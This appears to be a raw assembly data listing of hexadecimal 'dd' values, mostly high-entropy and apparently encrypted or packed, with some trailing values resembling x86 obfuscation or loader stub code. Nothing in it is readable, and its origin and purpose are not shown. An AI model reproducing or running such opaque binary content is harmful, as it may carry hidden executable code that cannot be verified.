		dd 0FFFBCF2Ch, 0E98A3568h, 0CF22E905h, 127DFFFBh, 29B92CC5h
		dd 63F46B00h, 0AC3AAD46h, 0EB79EC85h, 90512DC6h, 1F94B92Fh
		dd 50D9FC68h, 90193EADh, 0DE5B7CEDh, 0BC5C6D23h, 7BC92A68h
		dd 7FEC035Ah, 9C0DF05Ah, 168425BBh, 30A66733h, 5F4B911h
		dd 1666E863h, 95D2E3F1h, 50D2A734h, 6E7FCF9Dh, 0C9270BAEh
		dd 0B8129669h, 270B33D5h, 985791C9h, 0D8573619h, 4A57CFh
		dd 0FF000000h, 0F818A9AFh, 4CCCC31Dh, 0C31DDF3Dh, 64A518CCh
		dd 0C2922291h, 1DBD6372h, 8B7ACCC3h, 3F8B70E1h,	0EF5ED2A7h
		dd 0DCC7B323h, 7A0410B3h, 384FF606h, 37E65BE9h,	1D38DC75h
		dd 0A09AC927h, 713F6093h, 0DD4CCFD8h, 7D000000h, 0F05A7FECh
		dd 0D0BA9F0Dh, 7B7ABC2Dh, 0D331C0E5h, 43CCC31Dh, 0D8B91867h
		dd 1F4D568h, 0EF630252h, 0C88C2ECAh, 0B6263BA9h, 0D958DC93h
		dd 0B8A6748h, 0CCC30DDCh, 1E97F7Eh, 0FE977855h,	4E04FB71h
		dd 17840DEFh, 55C67932h, 0A0F4A66Ch, 0AF5C6D43h, 6AD2A71Dh
		dd 0F351C59Bh, 44482DCEh, 8E008B6Dh, 0FA8BD93Eh, 0D74DF1E3h
		dd 4C6D4332h, 8D30F9DCh, 0CB7C3A1Fh, 0D9DB1ED8h, 1454637Fh
		dd 46290000h, 0F5651891h, 37A027CCh, 70E69912h,	0B725D851h
		dd 5C8D1992h, 0CBA0851Bh, 0CE5C054h, 4C250A99h,	8A6748D9h
		dd 0E828B917h, 2FC92A6Bh, 7CEC3786h, 67D6FB69h,	9CC15051h
		dd 0B6588236h, 690AD96h, 7626D557h, 0ADF117A6h,	4736CCC3h
		dd 0B91134A0h, 20B130F4h, 8322723Fh, 0E24B2D0Ah, 7848AFFFh
		dd 0BA9F09A8h, 0E9E1DD0h, 0EA8E6F2Bh, 0A73F8E7Bh, 2EE45BD2h
		dd 273FAD6Fh, 63D0FC9h,	0DED2E296h, 0F7CBF04Ch,	0A9173835h
		dd 0B9B4CFD7h, 25000000h, 0CFBB7FECh, 5D21308Fh, 858B1AAFh
		dd 42CCC3D1h, 6563CF3h,	7AD0F567h, 0E070F1BBh, 598015FDh
		dd 2ACCC3EEh, 641B90B9h, 62A233F7h, 0A5CCC3D5h,	9DBA53D2h
		dd 39914035h, 44D00757h, 369CC551h, 93219047h, 3E33A2C3h
		dd 7CD685ACh, 0B566FFB9h, 3D2A7F7h, 29D3F662h, 9EFEBB0Ah
		dd 0C1AB881Fh, 0CC9C0353h, 4D29B1BDh, 0E1F746D7h, 846D50C0h
		dd 0C8AE9301h, 0DB1F2849h, 43E5FD5Fh, 3A000013h, 76E98257h
		dd 0B134FDE4h, 0F7760324h, 36A94267h, 9CF683A6h, 5174E44Bh
		dd 96B325D8h, 0D6FB6A1Dh, 1039AA5Dh, 19A8E89Bh,	0C92A6AFBh
		dd 0ECC0973Ch, 2DD0597Ch, 471E9BBCh, 0BC5C6D3Dh, 7BCCC31Dh
		dd 510025B4h, 94BD2ED7h, 0F5DA4F3Eh, 3B1C893Ch,	0EA7E7F5Fh
		dd 28E8F9CFh, 0EFCCC31Dh, 84159C18h, 59D8FD93h,	4B2AE0C9h
		dd 0B4A1F94h, 1BA94E1Eh, 0A747D58Ah, 1EAD00D2h,	0A9648E8Fh
		dd 45AAFAC1h, 54256677h, 3DE020C9h, 0B95F6EA8h,	7E3B4937h
		dd 0A169D88Fh, 68789FEFh, 20A08F59h, 55C54825h,	1020786Ch
		dd 890BA2EAh, 76EB8ADAh, 0F5F4D851h, 23A24663h,	70ED89AEh
		dd 86E8B46Fh, 1280BCD4h, 1A750000h, 21B134FDh, 5BCC7338h
		dd 0A432B57Eh, 0E371F4BDh, 885935FEh, 0E78CB127h, 58D1F460h
		dd 981136A5h, 0A65374E5h, 0B454652Bh, 73C92A65h, 7FEC0B62h
		dd 4E1EF05Ah, 0FB4B1BA9h, 0C31D2AEAh, 9E1AEDCCh, 0A72F1E07h
		dd 0D544CBD2h, 0F66B1AF0h, 0C5B479D1h, 0BA3B9D16h, 0F565042Dh
		dd 0F5B706CCh, 0EAFADF4Ch, 41810F3Eh, 5639549h,	5D761BC7h
		dd 42E88C43h, 0C21E6612h, 1F54A10h, 7A99ED67h, 47B5B6Ah
		dd 0CBBFD748h, 0A536202Dh, 64CC08BCh, 404952Bh,	0C3CCCE0Dh
		dd 0D4AB886Ch, 5374E584h, 8DB227A6h, 9C0353C5h,	81F1BDCCh
		dd 0B706D2A1h, 2E138021h, 6851C245h, 7F9CF0A2h,	330B5869h
		dd 0EDBDD743h, 0C34C3CDCh, 6004FBCCh, 9F0AEC43h, 0B5DB2126h
		dd 11A88F23h, 0F29D0000h, 49D94C25h, 83148B60h,	0CC5ACDA6h
		dd 0B990CE5h, 0B0314D26h, 3FF4D94Fh, 70391C88h,	0B0795ECDh
		dd 0FEBB9C0Dh, 9C7C0D43h, 5BC92A64h, 7CEC633Ah,	6E3ED059h
		dd 4DAA3B89h, 88D2A73Ch, 3BA85D35h, 0BA3B9D16h,	0EE4F0B2Eh
		dd 249CFDEh, 3F8EC927h,	4267F47Dh, 51B60688h, 0A4C7B303h
		dd 35E368A3h, 0D0B52CC8h, 66D74358h, 90A25EB2h,	0A6459D8Eh
		dd 0F7460C35h, 2FBE2E35h, 0CCC3E3E9h, 22E85F2Eh, 6CCE963h
		dd 4E2D1287h, 0B81EF4DDh, 2CC6B18Eh, 0E97A2D02h, 44652BC0h
		dd 0D3E2F2D7h, 0CCC3E34Dh, 0E3713B8Ah, 4D5C6C93h, 0D2A7C2E8h
		dd 0BD56AA5Eh
		dd 740B7FD8h, 76DC93B0h, 0AF3D22B7h, 0DEB49D0Eh, 0D838491Fh
		dd 1FC9275Ah, 9B6ECCA8h, 0F6C690AFh, 0F5324311h, 30D7437Bh
		dd 0BFADF4Dh, 83A634B5h, 5EF372F9h, 18FC9179h, 0D5CCC375h
		dd 76C656EDh, 0C355A167h, 159766CCh, 8ADAFF6Ch,	5565AB3Ah
		dd 16A2CCC3h, 74DA1694h, 0EC887F2Dh, 466BF86Fh,	0F117A676h
		dd 36CCC350h, 8517A547h, 4E73E231h, 72423184h, 5DC3D2A2h
		dd 9ACCC350h, 0F3D6442Bh, 43D25627h, 0D2A768B6h, 9C7C0D43h
		dd 5BC92758h, 187C35E4h, 602A0F99h, 0EA48EB8Dh,	26B66539h
		dd 37E65703h, 0D43610A1h, 0E382D748h, 86AD4F6Ch, 7D8083F2h
		dd 4DC8C608h, 6C3EAA9Ch, 21B0675Eh, 632F1282h, 0C3E67273h
		dd 53C2A617h, 0CCCE26C9h, 0B808EFBFh, 0A1AA4D29h, 0A53B8AD2h
		dd 0F9B29704h, 0DCECD546h, 8C6849DDh, 9A0FAE2Eh, 0BF28DDB5h
		dd 8E7D309Ah, 0D0F56BEAh, 3D2FCD56h, 6171DBD5h,	0FF2h
		dd 8673A8CBh, 0C5AE9307h, 7ECD542h, 46331680h, 876C51C7h
		dd 27B5FAEBh, 62F66902h, 0A43BAA47h, 0E67BEA87h, 0DBB928C1h
		dd 2A664ACAh, 91E48DC9h, 82DBC3Dh, 8809F342h, 0B2970518h
		dd 22B736C3h, 43D0553Dh, 1159B41Eh, 0E1F66B22h,	10994871h
		dd 0BC70F6D9h, 1A897D5h, 0ECC00000h, 0DCF05A7Fh, 0A36F48DDh
		dd 28D10417h, 279699D9h, 6A4FDC45h, 0D15BCF81h,	0E2B15F9Ch
		dd 0FDDA7332h, 4EC4A015h, 0BACB997Eh, 0D2A78CFDh, 0C98D4538h
		dd 0BC2A3FA8h, 89783D95h, 19886CC1h, 0C927B3FFh, 6921089Ah
		dd 570326B4h, 0FCBB88F2h, 65F340FAh, 2036D644h,	4FED56A4h
		dd 589517C6h, 0CFD86177h, 4914h, 0DDECBC00h, 0C927193Fh
		dd 83A435F8h, 0FF8128CCh, 0C4E978AFh, 0E8F8AF0Eh, 16316C18h
		dd 64AA6FF3h, 57E81180h, 4A3DD2A7h, 570B0D80h, 9FA9C927h
		dd 276E51A0h, 6302CFD8h, 0AD00CAEFh, 6AD9223Bh,	4024930Fh
		dd 0B00Dh, 7FECBE00h, 28DCF05Ah, 4A1B6B91h, 0FC650730h
		dd 0CD81496Ch, 2423D459h, 111B9599h, 710C1F5Ch,	139216C5h
		dd 0CF1597Eh, 5EF1BA9Fh, 0CCC30467h, 0C9A28714h, 0C2927145h
		dd 0F8DD7372h, 48D9A312h, 0D2A9E1A4h, 0ADCC9C53h, 0DE4A1A3Fh
		dd 792C74EAh, 31BA7ECEh, 699BAB5Fh, 7C667715h, 86AB39B8h
		dd 3B6489E0h, 0A53D9FD5h, 0E7Eh, 32FF1C77h, 713A1FB3h
		dd 0B37859CEh, 0F2BF9A0Ch, 33F8DD73h, 0B3218667h, 0F662E58Eh
		dd 30A726D3h, 72E76613h, 672DA44Dh, 2A61B656h, 156071C9h
		dd 0D0597CECh, 0D55EBC2Dh, 0B2EBE9Dh, 4FFAEE4Fh, 1C954462h
		dd 5A7FEC41h, 7E9C0DF0h, 0C9A5DF63h, 52DF8E84h,	0B1193ED3h
		dd 58688FDFh, 0A75F8C49h, 21BB3AD2h, 0EC436004h, 9F7D0CDCh
		dd 58C9273Dh, 0C48803E5h, 3DA76574h, 54C2C927h,	0B592C6Dh
		dd 273D9A7Ah, 0EEA5DC9h, 7386Ah, 7CEC1300h, 0FA6A0B59h
		dd 0F2023C12h, 0A41B4060h, 0CF6D0FEEh, 0C305CA4Eh, 0BE8BCCCh
		dd 53C0C1B5h, 443A8F18h, 9DE1F0A0h, 39D2AC46h, 4F0B2EB8h
		dd 56290AEEh, 564C9206h, 5CD847C2h, 4C3888D8h, 0F0CD7E2Bh
		dd 0B233F537h, 1D733821h, 0AC7DD94Dh, 0F5A8FCBFh, 2AD8E626h
		dd 0AA4E21C9h, 154B62Bh, 0B6F0B31Eh, 0AD503AE9h, 279C1A3Fh
		dd 3DD53812h, 0D7C079Bh, 1E710000h, 1D8D30F9h, 5FC87F34h
		dd 980EB17Ah, 0DF4DF0B9h, 846531FAh, 0E388AD23h, 24CDE87Ch
		dd 640D32A1h, 0A24F70E1h, 0B050612Fh, 77C92A60h, 7CEC0F5Eh
		dd 0BC2DD059h, 0DD4E3F9Bh, 0FBC71EF4h, 47D1D044h, 8A1F8662h
		dd 9617A5h, 0E0846921h,	715F406Bh, 1E6CD5BCh, 0A4000000h
		dd 0F2B69305h, 28BC3D5Bh, 36F884C8h, 0F1A0E413h, 84309E37h
		dd 7B15CCC3h, 0FFFFFD6Fh, 28BC3D22h, 1D3FDDECh,	5F8CCC3h
		dd 7F39FC56h, 0C31D22E6h, 0E30054CCh, 0EA7C7DCDh, 425303CFh
		dd 0CCC31DC2h, 0C9C3B205h, 0EB813A6Fh, 0AD24C0FEh, 0D2AC0AD9h
		dd 0FFDA4C6Dh, 4EC3A213h, 28CCA169h, 8524B40Bh,	0AE8B1C15h
		dd 44653DFFh, 828213D7h, 45C92AF5h, 67A2C6F2h, 3CC03774h
		dd 0E97E7F4Dh, 0C9B302C8h, 694EC342h, 0E7CA5A5Bh, 0CAE4A2Bh
		dd 96BB2948h, 0D8FD9312h, 37F2F35Eh, 3B5701D5h,	0C82h
		dd 36C3187Bh, 753E23B7h, 0B77C65F2h, 0F683A630h, 37FCE177h
		dd 0B7258A5Bh, 0F2661992h, 34AB5AD7h, 76EB9A17h, 6B29D851h
		dd 2A63BA5Ah, 1547DC9h,	0F05A7FECh, 0DFBB9C0Dh,	0C087BC86h
		dd 8E5E6E53h, 0C31D19FFh, 8D6FDECCh, 71042B0Eh,	1F89D5BCh
		dd 32000000h, 0C32752FCh, 8C5D77CCh, 0F5FFFFFCh, 0C4445525h
		dd 3CCC317h, 173FDDACh,	5F8CCC3h, 0AFFFCA63h, 38697848h
		dd 0FDD2A747h, 48CD400Ah, 0E8C92734h, 2D12E15Eh, 5ECFD844h
		dd 1B0h, 1D28FC0Fh, 2C7DCCC3h, 7A371889h, 0D14156CBh, 0B79809E8h
		dd 0F98B0AC0h, 87CCC31Dh, 971686BDh, 5D821106h,	275100F5h
		dd 9A5E6FDEh, 0D65FD934h, 3971C45h, 2834FB6h, 8DC3A891h
		dd 82758A19h, 36A2E749h, 41BBA675h, 27AE4AEDh, 50C58DB2h
		dd 0CCC394C4h, 8C6FC466h, 0D5BBE4A3h, 14F28h, 7FEC9100h
		dd 9C0DF05Ah, 85CFEBBh,	0B66542DBh, 34D69726h, 5C13D2A7h
		dd 0BE527F6h, 0E547C927h, 5784AB4Eh, 6109CFD8h,	0B2000000h
		dd 7848AFFFh, 0A73FB069h, 0DC5765D2h, 65E10C7h,	6216A615h
		dd 5CCF1B51h, 86019019h, 295CCAFEh, 5707D557h, 189CC556h
		dd 27CC8F89h, 5178EAC9h, 0E3E7F1F9h, 0DD019059h, 2EE4CD5Eh
		dd 82F54A74h, 0DD496824h, 350A30F4h, 0D792D9C6h, 0BBF2CFh
		dd 52220000h, 27CFDD43h, 429B8C9h, 25B470C7h, 0F05A7FECh
		dd 28AC28DCh, 0EC0DC7CEh, 3EFF5B7Eh, 0B424AD4Fh, 0E1953991h
		dd 7959888h, 13856822h,	0AC480893h, 0C793B425h,	7ECD546h
		dd 0C3B22190h, 0B2C393CCh, 0CCC38252h, 7440BAC2h, 4081E0B2h
		dd 198A0BEDh, 87D77B30h, 0C4515060h, 384919E3h,	0D2A970B4h
		dd 0CDCEC43h, 74DEFB6Dh, 0EE7EE781h, 29BF2ECBh,	63296204h
		dd 9D3FD53Bh, 0A9505h, 0D0056800h, 1336A45Bh, 5176E766h
		dd 90B125D8h, 0D1F4641Bh, 5A9D4E58h, 9B0AE7CAh,	0D84F2401h
		dd 188F6449h, 56CDA68Bh, 9DA96F7Eh, 416EC92Ah, 597CEC76h
		dd 0ABBC2DD0h, 0CCA51431h, 5A7FEC71h, 0F28DCF0h, 58226151h
		dd 67F47D3Fh, 8ADBA942h, 82000003h, 0AEFEA3CEh,	1AAB7B49h
		dd 0CCC31DFAh, 0F6AE4A3Dh, 30158726h, 17C3E471h, 0C53C2A6h
		dd 0CDD2AC91h, 7576B7Ah, 0C4C1D0E0h, 1D74E47h, 3F4E1EAEh
		dd 0CCCE78D9h, 6FCDAF1Eh, 0CE786AAEh, 0C17EC8CCh, 0AF080D32h
		dd 301BED5h, 0FC2F0000h, 0CCC31D18h, 0C31DBA6Dh, 1D82D2CCh
		dd 6CFEFF4Fh, 1DF715A4h, 7D30CCC3h, 0B771C48Eh,	0A72F391Eh
		dd 6D09FCD2h, 0D53D6736h, 0C7F68A4Ch, 0BE000009h, 0FA6D06D3h
		dd 35A84168h, 7BEA87A0h, 0BA2DC6E3h, 106A072Ah,	0D5F868CFh
		dd 1A3FA95Ch, 5A7FEE91h, 94BD2ED1h, 9D2C641Fh, 0C92A9C7Fh
		dd 0EC4C1BB8h, 1EF05A7Fh, 8A1BA94Eh, 0D2AC9148h, 0DF73388Fh
		dd 4958688Fh, 0D745E215h, 8D5D73C2h, 0C31D1CFCh, 8064DBCCh
		dd 0F36100D0h, 0F7B104CEh, 32FFDA4Eh, 0E8CD4362h, 1E4B950Ch
		dd 572DCCC3h, 0D84CF3B8h, 39015FDh, 0D2A274DEh,	0FD0E9F2Dh
		dd 38D2A734h, 617CA145h, 0C08AD53Dh, 939B0h, 0B4610C00h
		dd 0F7DA48FFh, 35128B3Ah, 745DC97Ch, 0B59808BFh, 0FE41A2FCh
		dd 3FAE4B6Eh, 7CE388ADh, 0BC23C8EDh, 0F2610A2Fh, 9C0D13A2h
		dd 0A5CAC92Ah, 48AFFFD2h, 91756978h, 32A2D2ACh,	2A6E7DA3h
		dd 9B2ABAC9h
		dd 0C92A6E75h, 5D0CC3B2h, 3EFA6E0Fh, 2A6E69AFh,	68DFAEC9h
		dd 4C881C83h, 2A6EDF3Dh, 17A518C9h, 2A6E8686h, 3FEE41C9h
		dd 0EFEDC153h, 6E8E8E1Fh, 0F649C92Ah, 2A6EE127h, 15726C9h
		dd 2A6E9070h, 31E057C9h, 43D2D3A3h, 65F1B41Eh, 7027967Ch
		dd 0E23D1DB4h, 0BFAD745h, 1AF9CD4Fh, 40023B4Ah,	35B4D2A7h
		dd 0B35160A6h, 74C9273Fh, 0D56D281h, 55B9FCBAh,	0DCFD53Dh
		dd 87975h, 0F4214C00h, 371A883Fh, 7552CB7Ah, 0B49D09BCh
		dd 0F5D848FFh, 3E81623Ch, 7FEE8BAEh, 0BC23C8EDh, 0FC63082Dh
		dd 32A14A6Fh, 9FCD5362h, 650AC92Ah, 5A7FEC12h, 4828DCF0h
		dd 682CA2BBh, 4F72E087h, 0CF763283h, 409D755Ah,	1A009110h
		dd 289E2990h, 9E742B09h, 0D06F5DDFh, 7E130495h,	4D3CF159h
		dd 3BAA95A4h, 1823D5BCh, 94000001h, 0B2EBC3Dh, 4E73E061h
		dd 0AF900184h, 5A7C50C2h, 0E58DCF03h, 0BD13C214h, 0F50B3BC9h
		dd 8F69524Ch, 0CE1C6D7h, 5124D2A7h, 33F014F9h, 0E852C927h
		dd 93493D5Bh, 0E38B5DE0h, 2E112CC8h, 5FCFD7BDh,	25h, 48AFFF08h
		dd 3FB06978h, 9716D2A7h, 7B58DC01h, 0CD4FCE84h,	6FC9273Fh
		dd 0AC9366DDh, 21CFD84Fh, 9Ah, 5A7FEC8Ah, 6D0CDCF0h, 0BE7FDBFCh
		dd 0C31D29EFh, 9D1FEECCh, 0E9A18414h, 0C882A734h, 67A53484h
		dd 0A0CCC31Dh, 39AA2BCDh, 5DF49B10h, 4ECCC339h,	9B3FF4DDh
		dd 59424CBh, 0D2A9DF6Bh, 7958CEEFh, 7B58DC91h, 27B53484h
		dd 0A732D2E3h, 2F5C925h, 0B127A653h, 0BDD9EA8Ch, 6DEFD53Ah
		dd 74555h, 80553800h, 0C3E674EBh, 126B736h, 4061F568h
		dd 81A434ABh, 0EA4D9EE8h, 2BDA577Ah, 681F94B1h,	0A85FD4F9h
		dd 0E69D163Bh, 9EF91FAEh, 913EC92Ah, 597CECC6h,	9BBC2DD0h
		dd 7FEC471Eh, 627BA29Fh, 4534483Fh, 0A68B188Dh,	3FB7CDh
		dd 0CEE60000h, 1AF9CD76h, 91153B4Ah, 63D2D2ACh,	2CECFD4Dh
		dd 0EBC92A6Eh, 80C19014h, 0B8BE0E93h, 2A6EEB29h, 0EA592CC9h
		dd 2BBA0ADAh, 0C92A6EE5h, 38A95322h, 0D745E21Bh, 0B4586FDEh
		dd 55h,	78AFFFE5h, 19CA01E9h, 0C038EBE2h, 5F4B911h, 8617E7B7h
		dd 0CCC3C286h, 2EFD0816h, 50B19332h, 568E58h, 67D6D9D9h
		dd 5F670C85h, 2392D2A7h, 6D78EC8Dh, 0AE64DBFCh,	0E8F2DCFh
		dd 0C9277F0Bh, 0F7A3905Ah, 617040A7h, 28BCB8C8h, 0D3A14A3Dh
		dd 0F6h, 0A9AFFFFAh, 0C31DF818h, 99483FCCh, 919CBACBh
		dd 7C28D2ACh, 0B43421F2h, 4DD3E27Fh, 8AC92A06h,	83A0443Bh
		dd 74E1422Ch, 0C08AAF3Eh, 2FEBCC5Dh, 2057ECD6h,	3EA8C987h
		dd 0A4BF62DEh, 1DCCDE87h, 6F92A19Bh, 0CFD2F440h, 984Dh
		dd 0BC3D7E00h, 0EC41092Ch, 15CA9A08h, 0DDF3A287h, 0AC918DCCh
		dd 35F94CD2h, 732DA9AAh, 6EF212A3h, 4235C92Ah, 29AF84A6h
		dd 6EC84859h, 3FADC92Ah, 9CFDB01Ah, 4D724F29h, 7ECFD2FEh
		dd 59h,	48AFFF6Fh, 0C4ED7978h, 63617020h, 0D7D2AC91h, 6E967607h
		dd 9E51C92Ah, 82D56CEAh, 9F191682h, 739120B4h, 16C92AE9h
		dd 9362A782h, 630252DCh, 842FC9EEh, 0CC63C78Fh,	94BD2948h
		dd 78FA2510h, 0EF8ECFD2h, 99DC587Dh, 1Eh, 3029BA3Bh, 67D6BCA1h
		dd 911BDAB0h, 37B0FC38h, 0BBD5CCC3h, 0FFFFFEBDh, 270A9A1Bh
		dd 0AFFFF445h, 0DC5E878h, 6D250898h, 5A6AD988h,	2E6C35Bh
		dd 922B4352h, 19ECD2ACh, 0A1D5DF4Bh, 0DF64D24Bh, 491DFF5Dh
		dd 0DE4A1AAAh, 45DB4FE8h, 0F04A7460h, 35168F69h, 83D74534h
		dd 844E73E2h, 996C7731h, 0E80F5F31h, 47E5C9D8h,	0A312D2ACh
		dd 0DBFE6C0Dh, 0BE8BC5Eh, 8A91C1B5h, 583E534Bh,	0E1F584DCh
		dd 26D745CFh, 1ECDF267h, 9BB82F4Eh, 0E1AA7F1Eh,	5CCD64E9h
		dd 9A0FBE7Bh, 6B3BDDB5h, 26B53484h, 9E2F6701h, 4A81B8F9h
		dd 1781493Ch, 26E6F747h, 0E1510183h, 0E3506A0Eh, 991237A4h
		dd 25277E6h, 2ECAEF63h,	9089198Ch, 86772306h, 4E1581D7h
		dd 34AB6E17h, 8FFD6D4Dh, 0AD1CF787h, 0F16B61CBh, 0B7940B42h
		dd 0F7D44BFAh, 0F8CFBB1Bh, 7A5FC9E6h, 4E31554Eh, 901439AFh
		dd 0EBED4033h, 5D821154h, 0A13080D4h, 5101CB63h, 0C452D1A4h
		dd 3DB21B9Dh, 6B0D28BCh, 0E172A1F9h, 0DC4109F8h, 1AFA8B4Fh
		dd 0DDCCC31Dh, 451E0AFh, 0C4BB7E3Ch, 9EECBD15h,	7EA5F5A1h
		dd 0B8A132B5h, 0AFCE9EF6h, 8B89183Dh, 4CCCC306h, 0A0943FF9h
		dd 91D46BD1h, 0E988DF00h, 0CDF06079h, 23E1B41Eh, 4DCCC306h
		dd 999CC63h, 45D44B20h,	22EBAA60h, 45CCC306h, 6726ECD5h
		dd 807AD0F5h, 0D6EE89A6h, 190D76Ch, 7EED8CDCh, 785CDF59h
		dd 6425FCA8h, 80B0B3E7h, 0C34413F1h, 0F180D4CCh, 0CCC34413h
		dd 6B261D4h, 1E1891D6h,	0C253D591h, 0CCC3B186h,	0D5B898D3h
		dd 5CD7D5BBh, 80FFFFFFh, 9F7FECh, 71D104ACh, 40617726h
		dd 5223EFD2h, 0B0517E26h, 0A345A54Eh, 0D0456428h, 48818716h
		dd 0F746CCC3h, 6CFD6400h, 0CAEBAB4Bh, 23B7765Bh, 7E1543Eh
		dd 4A240D9Eh, 0E4A390CAh, 0C8035277h, 0D5BC1BE7h, 35E4h
		dd 0AFFFD500h, 68697848h, 0ADD2AC91h, 0F95178EAh, 16A94534h
		dd 0E65D871Eh, 0AD03E0B4h, 45E23F1Ch, 0DACEFAD7h, 8F1B1CB8h
		dd 5A5B69D8h, 5001EBCEh, 49BCh,	0AFFFED00h, 68697848h
		dd 0ADD2AC91h, 797854DAh, 9F24C0E9h, 2F04C650h,	0E4F41B6Bh
		dd 40CD0E30h, 0A997BD55h, 359E0A1Eh, 1A4A2E9Bh,	45E9468Bh
		dd 62F1F0D7h, 1598BB7Dh, 0DC059287h, 8F2EBE6Dh,	0B2970419h
		dd 0C2A615D8h, 493DC493h, 2FFCEE3Ch, 0A287141Ch, 65605E8h
		dd 0C3A39177h, 5E756CCh, 602A0F9Ch, 6E0B2CBDh, 48BE98ECh
		dd 4A6C8E1Ch, 0B1C09047h, 0D2A77AF4h, 1947E31h,	0C9274507h
		dd 9D2CF462h, 0C927457Fh, 0BC16C5B8h, 6975BC9h,	0C9274506h
		dd 0D3BF6EC1h, 159DC452h, 64A4142Bh, 0DB20B644h, 0A09ADC93h
		dd 0F0640593h, 396653D5h, 52CFD7F6h, 2Fh, 48AFFF7Bh, 3FB06978h
		dd 0A265D2A7h, 0F6471336h, 4ECA4B07h, 0ECC9273Fh, 0A373E55Ah
		dd 273FF212h, 0A64235C9h, 0D84FA48Bh, 0E129CFh,	0EC920000h
		dd 0DCF05A7Fh, 76AC4EDDh, 5834A8C6h, 0B706CC83h, 3CDC4CF5h
		dd 9322F4C4h, 0CCC3BC8Dh, 0F2C1FB4Ah, 0F0FDEFD5h, 9BDE3035h
		dd 0F9AC66D5h, 0CB8B4768h, 971138AAh, 0DF547DEEh, 4B6EF8F9h
		dd 0E20930A1h, 0E97ACCC3h, 27B42BC0h, 0F6C64802h, 81324311h
		dd 37D2A7F3h, 0C3B65667h, 0BE71C927h, 8D66D9FAh, 3993B509h
		dd 662AF7BCh, 7908580Fh, 0D74DF2CDh, 0C5E87879h, 1FAD0023h
		dd 952B0E9Eh, 8054B4C5h, 0DC93CCC1h, 0BC2CD358h, 0DAEE1D99h
		dd 5204DB1Eh, 1E13Eh, 1CB9D400h, 5F821097h, 9DBA53D2h
		dd 0DC059114h, 1D40D057h, 86E9FA94h, 0C7463316h, 4BB7055h
		dd 44FBB095h, 8A39F2D7h, 9455BBCAh, 0FD92C92Ah,	597CECAAh
		dd 9BBC2DD0h, 0A46475C5h, 34CCC31Dh, 2CFF4BBDh,	11E425A6h
		dd 0FF49E497h, 0C7EA78AFh, 0E5FBAA0Bh, 0A73F2FD4h, 4F0BFAD2h
		dd 0EE2EBF0Fh, 8BC9273Fh, 995C3613h, 4364F5B8h,	0B0772697h
		dd 0E8790326h, 0C9273F2Ch, 7487BC8Eh, 0CFD84F4Bh, 0BC40h
		dd 0BC3D6900h, 0F0450D28h, 3B1C8D34h, 1EAF7F5Fh, 0CCC31DFEh
		dd 6D25029Bh, 0C0F44B88h, 3033ABF9h, 46CFA9E4h,	0DCDDF3D6h
		dd 0EACF5D48h, 349E4D20h, 14FEE371h, 0A436F2A1h, 0C3B3CAF1h
		dd 728B9CCh, 4166FB6Ah,	50B70789h, 0A2C07100h, 0B205D2A7h
		dd 0DD435222h, 1AC92792h, 0C84AC1ABh, 304117F4h, 0D74D4C21h
		dd 3EBF0DE0h
		dd 7FEE8BAEh, 2522C4E9h, 33DB1F4Eh, 0E40999h, 0B6D90000h
		dd 85158861h, 0C750D75Ch, 9609E2h, 47D54821h, 0ECFD8962h
		dd 7B30158Bh, 0BC7550C4h, 0FCB59A09h, 3AF7D849h, 58B8C987h
		dd 9FC92A97h, 0BC3DA7F6h, 87AA382Dh, 0F1BB7AD0h, 34FDE070h
		dd 723F20B1h, 5A7FECDBh, 0BB9C0DF0h, 0F5DA4FFEh, 3718893Ch
		dd 0B58F7B5Bh, 0D14FEB16h, 70118064h, 17FFA78Dh, 36F7A380h
		dd 9EC981A0h, 3D989F54h, 0A23776CDh, 1A8E2FBDh,	0C0EF0EFAh
		dd 1DCCB7D7h, 4E2A0F9Eh, 0E0C95ACDh, 0C6E37B2Ah, 719726F6h
		dd 0B6FE2779h, 20E0F1C7h, 0E7FE2779h, 4CC69410h, 0FB4BCD62h
		dd 27792AEAh, 9E1AEDFEh, 0F96D8217h, 3395ACD8h,	8C712717h
		dd 40D154DDh, 0E75FBF2Fh, 601159BAh, 6223EF5Eh,	0AA19C8F1h
		dd 14D0E0h, 94000000h, 86227F10h, 0FE8FDDE3h, 0FE27AD1Eh
		dd 2B8266D9h, 81EC52FBh, 9A0FFE54h, 0B928DDB5h,	0DD4F3E94h
		dd 0FD9312F8h, 1DB372D8h, 3BD35238h, 64F1B41Eh,	84169743h
		dd 50E3F55Dh, 405E089h,	2D000000h, 4, 5C240487h, 68241C89h
		dd 7375h, 51241C89h, 0C181E189h, 4, 8704E983h, 895C240Ch
		dd 0EC83242Ch, 24148904h, 0E97591BAh, 5AD38905h, 242C8B54h
		dd 5104C483h, 8B9h, 0E8E98100h,	1227F75h, 0E8C181E9h, 89227F75h
		dd 2C8B5919h, 0E3895324h, 4C381h, 0C3830000h, 241C8704h
		dd 2434FF5Ch, 4C4835Bh,	0FBB8FBE9h, 68050CFFh, 55BBE9B9h
		dd 2824E06Ch, 7BA7EFC7h, 0E98B3EB8h, 0FFC50305h, 4BD0D8E0h
		dd 3C30247h, 6B35CA0Bh,	1589DE3Dh, 0A25364Fh, 7081325h
		dd 0E0198B68h, 0F46A9070h, 5D45AC7Ah, 54893400h, 0B717421Eh
		dd 0F04AF54Eh, 41D22A78h, 0F942352Ah, 8EF0481Bh, 2D0C1D6Dh
		dd 8AB5C50Bh, 6481E947h, 0A96B3F09h, 0EBDB4D64h, 9575757Dh
		dd 14423A39h, 0DF78DF5Ch, 0B9E0963Ah, 53BE8576h, 4D63CB56h
		dd 0E08D8D06h, 6A05E98Ch, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 0F69C350h, 8D89D2B7h
		dd 5E41095h, 2879BD29h,	85C705E4h, 5E42C65h, 6E68h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0D6C35040h, 0E3AEBC0Ch
		dd 85C7BFD0h, 5E430FDh,	0
		dd 98EC081h, 0B5FF0D7Ch, 5E402D9h, 22A5858Bh, 95FF05E4h
		dd 5E42A61h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	0ECC35040h, 8E2C23C7h, 6AF18Bh,	10C195FFh, 0C08B05E4h
		dd 57B919EBh, 72CDD372h, 55BF63E1h, 4F525438h, 3EB2F386h
		dd 1EF29B2Ch, 0E8EA57E1h, 0Eh, 0F7F61485h, 0D7381EEBh
		dd 150DEEB9h, 85895325h, 5E42679h, 0B1958B5Fh, 8105E400h
		dd 5D5AC7h, 0C2816600h,	3ABEB0EBh, 8B000017h, 0E404B985h
